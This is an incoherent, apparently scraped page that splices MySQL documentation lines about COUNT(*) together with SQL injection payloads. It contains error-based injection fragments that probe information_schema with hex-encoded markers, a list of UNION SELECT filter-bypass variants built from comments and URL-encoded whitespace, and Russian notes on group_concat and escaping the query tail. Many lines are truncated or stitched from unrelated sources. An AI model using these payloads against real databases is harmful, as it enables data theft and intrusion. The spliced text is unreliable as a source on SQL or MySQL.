SELECT CAST (miles AS INT) FROM Flights -- convert timestamps to text INSERT INTO mytable (text_column) VALUES ... Now you can chat with who search for : 999999.9 uNiOn aLl sElEcT cAsT 0x393133353134353632312e39 as char.
SELECT 6106 FROM(SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables
Синтаксис: 0xHEX_ЧИСЛО (SM): SELECT CHAR(0x66) (S) SELECT 0x5045 (это не число, а
Приведу пример с вложенным запросом. SELECT DISTINCT `name` as `name1`, (select GROUP_CONCAT(`pet`) as `pet
...(SELECT COUNT(*),CONCAT(0x717a7a6a71,(SELECT (ELT(1085=1085,1))),0x716a6b7871
...FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID(database(), 1
+--+Union+--+Select+--+ +#uNiOn+#sEleCt+ +union+distinct+select+ +union+distinctROW+select+ +union%23aa%0Aselect+ 0%a0union%a0select%09 %0Aunion%0Aselect%0A
Consequently, SELECT COUNT(*) statements only count rows visible to the current transaction. As of MySQL 8.0.13, SELECT COUNT(*) FROM tbl_name query performance for InnoDB tables is optimized for single-threaded workloads if there are no extra clauses such as WHERE or GROUP BY.
Синтаксис MySQL функции COUNT: SELECT COUNT(aggregate_expression) FROM tables [WHERE conditions]
1.3 Использование UNION + group_concat(). 1.4 Экранирование хвоста запроса. 1.5 Расщепление SQL-запроса.